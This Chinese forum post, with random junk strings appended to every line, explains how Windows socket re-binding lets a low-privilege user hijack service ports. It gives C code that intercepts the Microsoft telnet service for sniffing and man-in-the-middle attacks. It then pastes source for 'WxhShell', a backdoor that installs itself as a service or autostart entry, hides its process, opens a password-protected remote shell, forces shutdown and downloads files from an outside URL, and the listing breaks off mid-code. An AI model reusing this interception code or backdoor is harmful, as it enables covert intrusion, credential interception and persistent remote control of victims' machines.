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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f9D01R fo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `3yK<-  
U*4r<y9R  
  saddr.sin_family = AF_INET; sm"s2Ci=}  
Q|xa:`3?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); * }) W>  
7!Qu+R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |p.|zH  
JIPBJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qWM+!f  
f0&%  
  这意味着什么?意味着可以进行如下的攻击: Q$(Fm a4a  
ZeLed[J^xJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !|\l*  
4-m6e$p;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %+^Qs\j  
h8dFW"cpC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 % :h %i|  
6=:s3I^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `I.pwst8i-  
d}Q% I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rCUGaf~  
nF B]#LLv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]f_`w81[  
h0$Y;=YA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;SIWWuk  
eG7Yyz+t$  
  #include Y>6N2&Q  
  #include )2a)$qx;  
  #include pX+4B=*  
  #include    V503  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y (p Ud3y  
  int main() TV=K3F5)M  
  { McpQ7\*h  
  WORD wVersionRequested; ocu,qL)W  
  DWORD ret; 5th?m>  
  WSADATA wsaData; B"8jEYT5  
  BOOL val; T'{9!By,P  
  SOCKADDR_IN saddr; MU%7'J :_  
  SOCKADDR_IN scaddr; <RKT |  
  int err; NSM7n= *nh  
  SOCKET s; @VPmr}p:{  
  SOCKET sc; l dqU#{  
  int caddsize; #_{Q&QUk  
  HANDLE mt; /,`OF/%  
  DWORD tid;   "([/G?QAG  
  wVersionRequested = MAKEWORD( 2, 2 ); h+ud[atk.  
  err = WSAStartup( wVersionRequested, &wsaData ); Z?xRSi2~7  
  if ( err != 0 ) { 3)yL#hXg)  
  printf("error!WSAStartup failed!\n"); vA}_x7}n(  
  return -1; l0C`teO  
  } mRa\ wEg%  
  saddr.sin_family = AF_INET; oKb"Ky@s  
   p6Z|)1O]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -We9 FO~  
0(*L)s,5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;tSA Q  
  saddr.sin_port = htons(23); Uo71C4ev  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `BVmuUMm  
  { FgL892[  
  printf("error!socket failed!\n"); MqJ5|C.q  
  return -1;  +IO>%  
  } H8B$# .  
  val = TRUE; AgZ?Ry  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^GyZycch  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }B a_epM  
  { N<1+aL\  
  printf("error!setsockopt failed!\n"); BM'!odRv  
  return -1; JQ 6M,O  
  } hGkJ$QT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7B)1U_L0H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d$jwh(Ivs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2;u i'B  
P#7=h:.522  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) - Z`RKR8C  
  { 3H`{ A/r  
  ret=GetLastError(); /-,\$@J5)  
  printf("error!bind failed!\n"); 4M|u T 9-  
  return -1; Z`u$#<ukX  
  } N!Rt040.%  
  listen(s,2); a eeor  
  while(1) .p,VZ9  
  { |-G2pu;  
  caddsize = sizeof(scaddr); 4e Y?#8  
  //接受连接请求 0~z\ WSo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X fqhD&g  
  if(sc!=INVALID_SOCKET) Xh>($ U  
  { |/vJ+aKq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (6 Od   
  if(mt==NULL) HA*L*:0  
  { ^:]$m;v]  
  printf("Thread Creat Failed!\n"); p |1u,N  
  break; h='F,r5#2  
  } # )y/aA  
  } " X8jpg  
  CloseHandle(mt); c~?Zmdn:  
  } 10i$b<O  
  closesocket(s); "J`&"_CyZ  
  WSACleanup(); Be=rBrI>  
  return 0; ZGDT 6,  
  }   @J"tM.  
  DWORD WINAPI ClientThread(LPVOID lpParam) uO`MA% z<  
  { -~|{q)!F  
  SOCKET ss = (SOCKET)lpParam; Cf3!Ud  
  SOCKET sc; qS2Nk.e]o  
  unsigned char buf[4096]; 4] uj+J  
  SOCKADDR_IN saddr; :#pdyJQ_  
  long num; Iz5NA0[=2  
  DWORD val; _BmObXOp.  
  DWORD ret; Ph1XI&us9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =i&,I{3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   > 'hM"4f  
  saddr.sin_family = AF_INET; 6eB;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n+Kv^Y`qxO  
  saddr.sin_port = htons(23); -g]Rs!w'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L"NHr~  
  { XS[L-NHG  
  printf("error!socket failed!\n"); Ch_rV+  
  return -1; 8s@N NjV  
  } <aJQV)]\  
  val = 100; wDZ<UP=X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 12KC4,C&1i  
  { (Z SaAn),  
  ret = GetLastError(); "|L" C+tE  
  return -1; DS<1"4 b|  
  } K"H\gmV_ g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ki2!sADd  
  { 3/@z4:p0R  
  ret = GetLastError(); -f)fiQ-<  
  return -1; *[3xc*5F/A  
  } _!R$a-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )rD!4"8/A  
  { x8PT+KC  
  printf("error!socket connect failed!\n"); r8J7zTD&  
  closesocket(sc); fI613ww]  
  closesocket(ss); hTr5Q33y>  
  return -1; 3}0\W.jH  
  } 6'r8.~O  
  while(1) $/++afi m  
  { _`|1B$@x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '6#G$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (~=.[Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K^shTh8k  
  num = recv(ss,buf,4096,0); jO-?t9^  
  if(num>0) @h%V:c  
  send(sc,buf,num,0); 4VWk/HK-!  
  else if(num==0) LH8jT  
  break; RZm%4_p4s  
  num = recv(sc,buf,4096,0); [@vz0!@s5  
  if(num>0) CJBf5I3  
  send(ss,buf,num,0); -{cHp  
  else if(num==0) 6Dlm. ~G  
  break; xzOa9w/  
  } =|S%Rzsk  
  closesocket(ss); &riGzU]  
  closesocket(sc); IOcQI:4.`  
  return 0 ; 8Xot ly  
  } QF#w $%7  
9=%zdz2_S  
BBB@M  
========================================================== vk& gR  
{LO Pm1K8Y  
下边附上一个代码,,WXhSHELL r9i? H  
;]>kp^C#  
========================================================== E-bswUVaEE  
QJGGce  
#include "stdafx.h" "is(  
)/H;5 cn  
#include <stdio.h> 7A)\:k  
#include <string.h> Km` SR^&\  
#include <windows.h> Gk,Bx1y  
#include <winsock2.h> E.oJ[;  
#include <winsvc.h> GXtMX ha,  
#include <urlmon.h> LL^KZ-  
K4c:k; V  
#pragma comment (lib, "Ws2_32.lib") Jz}nV1G(jz  
#pragma comment (lib, "urlmon.lib") #DTKz]i?  
rs&]46i/p  
#define MAX_USER   100 // 最大客户端连接数 *@2Bh4  
#define BUF_SOCK   200 // sock buffer VY0.]t  
#define KEY_BUFF   255 // 输入 buffer n~N>;m P  
]gk1q{Ql<  
#define REBOOT     0   // 重启 ze+YQ F  
#define SHUTDOWN   1   // 关机 RP4/:sO  
yB b%#GW  
#define DEF_PORT   5000 // 监听端口 /`*{57/3  
=}^NyLE?  
#define REG_LEN     16   // 注册表键长度 ,XD" p1(|G  
#define SVC_LEN     80   // NT服务名长度 N:1aDr;  
Kg[OUBv  
// 从dll定义API mmAm@/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _pvB$&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lvs  XL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hi7_jl6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ToXWFX  
`fu_){  
// wxhshell配置信息 @I _cwUO  
struct WSCFG { Dyo v}y  
  int ws_port;         // 监听端口 ) r2Y@+.FN  
  char ws_passstr[REG_LEN]; // 口令 ^X=Q{nB  
  int ws_autoins;       // 安装标记, 1=yes 0=no y+k_&ss  
  char ws_regname[REG_LEN]; // 注册表键名 !#tVQ2O  
  char ws_svcname[REG_LEN]; // 服务名 &`"DG$N(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IC`3%^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 diq}\'f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D'"  T'@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BuJo W@)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NB-dlv1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oxwbq=a6yV  
z:Ml;y  
}; bz4Gzp'6k  
Hq3|>OqC2Q  
// default Wxhshell configuration K$CC ~,D  
struct WSCFG wscfg={DEF_PORT, _5oTNL2  
    "xuhuanlingzhe", F^i3e31*t  
    1, Wv;0PhF  
    "Wxhshell", sZ.<:mu[  
    "Wxhshell", (m~>W"x/  
            "WxhShell Service", = tv70d'  
    "Wrsky Windows CmdShell Service", 4"d,=P.{  
    "Please Input Your Password: ", I= mz^c{  
  1, M&Uy42,MR  
  "http://www.wrsky.com/wxhshell.exe", /x<g$!`X  
  "Wxhshell.exe" mxa~JAlN_  
    }; ]-=L7a  
|.<_$[v[x  
// 消息定义模块 +>ju,;4WK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fqNh\~kja  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ( xs'D4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pGbfdX  
char *msg_ws_ext="\n\rExit."; i! .]U@{k  
char *msg_ws_end="\n\rQuit."; DeO-@4+qKd  
char *msg_ws_boot="\n\rReboot..."; FXQWT9Kk~_  
char *msg_ws_poff="\n\rShutdown..."; P}bIp+  
char *msg_ws_down="\n\rSave to "; LCF}Y{  
1'kO{Ge*p:  
char *msg_ws_err="\n\rErr!"; =C"[o\]VV  
char *msg_ws_ok="\n\rOK!"; R+ * ; [  
pwFp<O"  
char ExeFile[MAX_PATH]; =Tj{)=^/#  
int nUser = 0; &,X}M  
HANDLE handles[MAX_USER]; -t`kb*O3`  
int OsIsNt; ?w3RqF@}  
9:j?Jvw$  
SERVICE_STATUS       serviceStatus; Ox3=1M0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6FUW^dt  
YEL0h0gn  
// 函数声明 2M %j-yG"  
int Install(void); 7CIN!vrC|1  
int Uninstall(void); /x VHd  
int DownloadFile(char *sURL, SOCKET wsh); w^yb`\$  
int Boot(int flag); l45/$G7  
void HideProc(void); LUOjaX  
int GetOsVer(void); c4JV~VS+  
int Wxhshell(SOCKET wsl); j-<]OOD  
void TalkWithClient(void *cs); ]vrZGX a+  
int CmdShell(SOCKET sock); ER0 Yl  
int StartFromService(void); ;kFD769DLw  
int StartWxhshell(LPSTR lpCmdLine); ClG%zE&i  
"J VIkC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m%'nk"p9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s :vNr@TS  
qBA)5Sv\V  
// 数据结构和表定义 N5Js.j>z  
SERVICE_TABLE_ENTRY DispatchTable[] = }:Z.g  
{ M'*s5:i  
{wscfg.ws_svcname, NTServiceMain},  |/Nh#  
{NULL, NULL} 18&"j 8'm  
}; /cjz=r1U>  
P/%7kD@5;  
// 自我安装 1\}vU  
int Install(void) F O!Td  
{ 5`;SI36"  
  char svExeFile[MAX_PATH]; 4TtC~#D:  
  HKEY key; f|[7LIdh-  
  strcpy(svExeFile,ExeFile); (gt\R}  
g4K+AK  
// 如果是win9x系统,修改注册表设为自启动 'aSsyD!?<  
if(!OsIsNt) { [xS7ae  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u3T-U_:jSV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mm/\\my  
  RegCloseKey(key); 7?P'f3)fG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dwOfEYC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S%SYvA  
  RegCloseKey(key); *x36;6~W;  
  return 0; n,N->t$i  
    } #bOv}1,s  
  } 2)}n"ibbT  
} Q*DT" W/0  
else { m\:^9A4HCg  
V!}I$JiJ  
// 如果是NT以上系统,安装为系统服务 Y}~sTuWU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >xWS>  
if (schSCManager!=0) `3TR`,=  
{ &l(T},-X  
  SC_HANDLE schService = CreateService 7)?C+=,0  
  ( x:SjdT  
  schSCManager, -(vHy/Hz.  
  wscfg.ws_svcname, )nUdU = m  
  wscfg.ws_svcdisp, _3/u#'m0  
  SERVICE_ALL_ACCESS, L+t / E`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 26V6Y2X  
  SERVICE_AUTO_START, ysaRH3M  
  SERVICE_ERROR_NORMAL, r~b.tpH  
  svExeFile, QiCia#_  
  NULL, pdu1 kL  
  NULL, U/>I! 7oe  
  NULL, ;-db/$O  
  NULL, U[ ]yN.J  
  NULL x]^d'o:cDP  
  ); D  T5d]MU  
  if (schService!=0) Fh~9(Y#  
  { /b+~BvTh  
  CloseServiceHandle(schService); "4b{YWv  
  CloseServiceHandle(schSCManager); I|X`9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gb')a/  
  strcat(svExeFile,wscfg.ws_svcname); 9z,sn#-t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P`tOL#UeZL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pa-*&p  
  RegCloseKey(key); D#GuF~-F!R  
  return 0; R iZ)FW  
    } x{H+fq,M  
  } 5i br1zs  
  CloseServiceHandle(schSCManager); Yy~x`P'g!  
} $tlBI:ay1  
} V&zeC/xSq  
l)r\SE1  
return 1; y-pdAkDh  
} |nMjv]#  
D+T/ Z)  
// 自我卸载 =?]`Xo,v~  
int Uninstall(void) ,Yag! i>;  
{ Bg|d2,im  
  HKEY key; g *5_m(H  
g[cnaS|?  
if(!OsIsNt) { u#6s^ )W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {i>AQ+z61f  
  RegDeleteValue(key,wscfg.ws_regname); _L,~WYRo  
  RegCloseKey(key); I:dUHN+@L5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &A:&2sP8  
  RegDeleteValue(key,wscfg.ws_regname); f6r!3y  
  RegCloseKey(key); 8vx ca]DcV  
  return 0; "6,fIsU  
  } Tzd#!Lvm:,  
}  |Iy;_8c  
} ~/^fdGr  
else { PYQ0&;z  
lDS y$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "rdpA[>L  
if (schSCManager!=0) f]*;O+8$LN  
{ rtPo)#t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %_ew{ff|  
  if (schService!=0) W @"Rdc-  
  { QL0q/S1*  
  if(DeleteService(schService)!=0) { g? vz\_  
  CloseServiceHandle(schService); 2j f!o  
  CloseServiceHandle(schSCManager); <Zva  
  return 0; 6 ;'s9s"  
  } VEV?$R7;  
  CloseServiceHandle(schService); 6AIqoX*p  
  } y[J9"k(@  
  CloseServiceHandle(schSCManager); 5K Ij}VN  
} (N/u@M  
} BOpZ8p'eH1  
:ok.[q  
return 1; Y`g O:d8  
} Q8m~L1//S  
Mg >%EH/'  
// 从指定url下载文件 P`rfDQoZ  
int DownloadFile(char *sURL, SOCKET wsh) &D<6Go/)_*  
{ >p&"X 2 @  
  HRESULT hr; VjM/'V5  
char seps[]= "/"; @@ j\OR  
char *token; \p:)Cdn  
char *file; 0MpW!|E  
char myURL[MAX_PATH]; rL<N:@HL  
char myFILE[MAX_PATH]; auI`'O`/  
s<*+=aIfu  
strcpy(myURL,sURL); e;v7!X  
  token=strtok(myURL,seps); dPO"8HQ  
  while(token!=NULL) , S^y>  
  { #-%D(=&I  
    file=token; M|nLD+d~8  
  token=strtok(NULL,seps); E2|M#Y  
  } ;$tdn?|  
<hzHrx'o{  
GetCurrentDirectory(MAX_PATH,myFILE); V 2Xv)  
strcat(myFILE, "\\"); Zl[EpXlZ  
strcat(myFILE, file); U_jW5mgsG  
  send(wsh,myFILE,strlen(myFILE),0); Mn5(Kw?o2J  
send(wsh,"...",3,0); yR5XcPoKI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } ew{WD  
  if(hr==S_OK) ,`U>BBBLv  
return 0;  /$93#$  
else 7!qeIz  
return 1; a<*+rGI  
'*[7O2\%/  
} &$ }6:  
MoxWnJy}  
// 系统电源模块 dkC_Sh{  
int Boot(int flag) #0) TS  
{ 6l,6k~Z9  
  HANDLE hToken; O0y0'P-rJq  
  TOKEN_PRIVILEGES tkp; 75>%!mhM  
Y"ta`+ VJ  
  if(OsIsNt) { `pv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `D3q!e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zvN7aG  
    tkp.PrivilegeCount = 1; A46dtFD{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Br`;hL<T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZYB5s~;eB"  
if(flag==REBOOT) { Gy+c/gK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yfwR``F  
  return 0; wo62R&ac  
} A99;bf}"  
else { =2*2 $  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _e8Gt6>  
  return 0; nUs=PD3)  
} 6x5Q*^w  
  } -7oIphJ=\  
  else { Z9H2! Cp  
if(flag==REBOOT) { r}Vr_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vh01y f  
  return 0; W rT_7  
} alxIc.[  
else { '"q+[zwv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Li8/GoJW-T  
  return 0; f x:vhEX  
} U4Zx1ieCKH  
} HI1|~hOb'  
/g0' +DP  
return 1; <bn|ni|c"  
} 7aRy])x  
;Ym6ey0t  
// win9x进程隐藏模块  Z a,o  
void HideProc(void) 0(C[][a*u  
{ (gdzgLHy  
UQI!/6F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d:Z|It  
  if ( hKernel != NULL ) )-XD= ]  
  { 8xj_)=(sV!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )4o k@^.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { zL4dJw  
    FreeLibrary(hKernel); F:Vl\YZ  
  } , iEGf-!k  
8~!h8bkC  
return; dr8Q>(ZY  
} %U<lS.i  
a@_n>$LZL  
// 获取操作系统版本 bTx4}>=5l  
int GetOsVer(void) A\"4[PXpQ  
{ XYV`[,^h&  
  OSVERSIONINFO winfo; $v8T%'p+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3]NKAPY  
  GetVersionEx(&winfo); ~ hP]<$v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <,*w$  
  return 1; daB 5E<?  
  else eMOp}.zt|  
  return 0; ?t;,Nk`jx  
} dF|n)+C~R  
x wfdJ(&  
// 客户端句柄模块 9e;{o,r@  
int Wxhshell(SOCKET wsl) |+-b#Sa9  
{ Nog{w  
  SOCKET wsh; JBV 06T_4o  
  struct sockaddr_in client; G]-\$>5R  
  DWORD myID; # b3 14  
ieOw&  
  while(nUser<MAX_USER) FIJ]`  
{ (h&=N a~  
  int nSize=sizeof(client); }PMlG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qc Xw -  
  if(wsh==INVALID_SOCKET) return 1; R{B5{~m>W@  
U~|)=+%O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kk% I N9  
if(handles[nUser]==0) Kk\,q?  
  closesocket(wsh); @q|c|X:I  
else gsIp y  
  nUser++; Rs'mk6+  
  } vN6)Szim  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1<]?@[l<  
;%AY#b4m  
  return 0; UHI<8o9  
} /Zz [vf  
KrTlzbw&p\  
// 关闭 socket .%\R L/  
void CloseIt(SOCKET wsh) e{Mkwi+j  
{ 5 yL"=3&+  
closesocket(wsh); [ 7{cf`C  
nUser--; <UW-fI)X  
ExitThread(0); n2opy8J#!  
} "v'%M({  
Z1\=d=  
// 客户端请求句柄 o3'Za'N.  
void TalkWithClient(void *cs) }dq)d.c  
{ ypvz&SzIh  
s_!F`[  
  SOCKET wsh=(SOCKET)cs; Tn'o$J  
  char pwd[SVC_LEN]; !'bZ|j%  
  char cmd[KEY_BUFF]; m*AiP]Qu  
char chr[1]; 9*a"^  
int i,j; oC TSV  
BS?rKtdm(  
  while (nUser < MAX_USER) { ;0dl  
Jk`0yJi$q  
if(wscfg.ws_passstr) { Qj9'VI>&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SG)|4$"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~. 5[  
  //ZeroMemory(pwd,KEY_BUFF); n}J!?zZc  
      i=0; 4g+o/+6!4  
  while(i<SVC_LEN) { ad<ZdO*h  
/p{$HkVw  
  // 设置超时 w\>@> *E>  
  fd_set FdRead; T#YJ5Xw  
  struct timeval TimeOut; wem hP8!gc  
  FD_ZERO(&FdRead); dsZ-|C  
  FD_SET(wsh,&FdRead); <a(739IF  
  TimeOut.tv_sec=8; .UUT@ w?  
  TimeOut.tv_usec=0; .A7ON1lc^C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?J5E.7o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T mH5+  
na|23jz4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K!tM "`a  
  pwd=chr[0]; )9 {!=k  
  if(chr[0]==0xd || chr[0]==0xa) { ZGS4P0$  
  pwd=0; za5E{<0  
  break; Q/l388'  
  } 0fw>/"v  
  i++; d?[8VfAnh  
    } GS,}]c=  
1[(/{CClB  
  // 如果是非法用户,关闭 socket l Ztw[c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _WBWFGj  
} zE=^}K+  
h(FFG%H(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *5" )3\/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2()/l9.O'  
Y-v6M3$  
while(1) { ]2mfby  
dJ7!je1N*  
  ZeroMemory(cmd,KEY_BUFF);  :D  
-aM7>YR  
      // 自动支持客户端 telnet标准   \~:_ h#bW  
  j=0; X> V`)  
  while(j<KEY_BUFF) { o[k,{`M0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7;ddzxR4  
  cmd[j]=chr[0]; 1v9 #Fr Y  
  if(chr[0]==0xa || chr[0]==0xd) { <)$JA  
  cmd[j]=0; Z7=k$e  
  break; !?GW<Rh  
  } LE+#%>z>  
  j++; 4^K<RSYs  
    } jY $3   
pLpWc~#  
  // 下载文件 a_Z[@W  
  if(strstr(cmd,"http://")) { 3W@ta1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;TCT%j`^o  
  if(DownloadFile(cmd,wsh)) QjFE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CQET  
  else 82w=t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cG4$)q;q  
  } wGx*Xy1n<  
  else { 2]_fNCNLN  
6V @ [< d  
    switch(cmd[0]) { =\x(Rs3  
  IUwMIHq&sW  
  // 帮助 ()EiBl(kWk  
  case '?': { HA GpM\Qa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @l&>C#K\  
    break; :cE~\B S&  
  } X[$FjKZh=F  
  // 安装 @<=<?T> 1  
  case 'i': { 0`kaT ?>  
    if(Install()) .Za)S5U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qr]`flQ8  
    else =.6JvX<d1*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~Z>C>J  
    break; cy( WD#^  
    } Bpdx]5qfK  
  // 卸载 Qg gx:  
  case 'r': { gP>`DPgb^  
    if(Uninstall()) KOVR=``"/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W< :7z  
    else 4w(#`'I>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /\UFJ  
    break; kTS #>uS  
    } 4 JDk ()  
  // 显示 wxhshell 所在路径 nB#XQ8Nzx^  
  case 'p': { nrRP1`!]T  
    char svExeFile[MAX_PATH]; ;Km74!.e7  
    strcpy(svExeFile,"\n\r"); f]]UNS$AYQ  
      strcat(svExeFile,ExeFile); Huho|6ohH  
        send(wsh,svExeFile,strlen(svExeFile),0); Cc>+OUL  
    break; oC1Nfc+  
    } VgcLG ]tE[  
  // 重启 4{Af 3N  
  case 'b': { GGkU$qp2~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {K>}eO:K  
    if(Boot(REBOOT)) NmZowh$M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =.8fES  
    else { NaYr$`  
    closesocket(wsh); TAKv E=a;  
    ExitThread(0); ;TTH  
    } 4~mmP.c  
    break; I&|J +B?#  
    } ~SR9*<  
  // 关机 oVja$;>  
  case 'd': { 7':qx}c#!1  
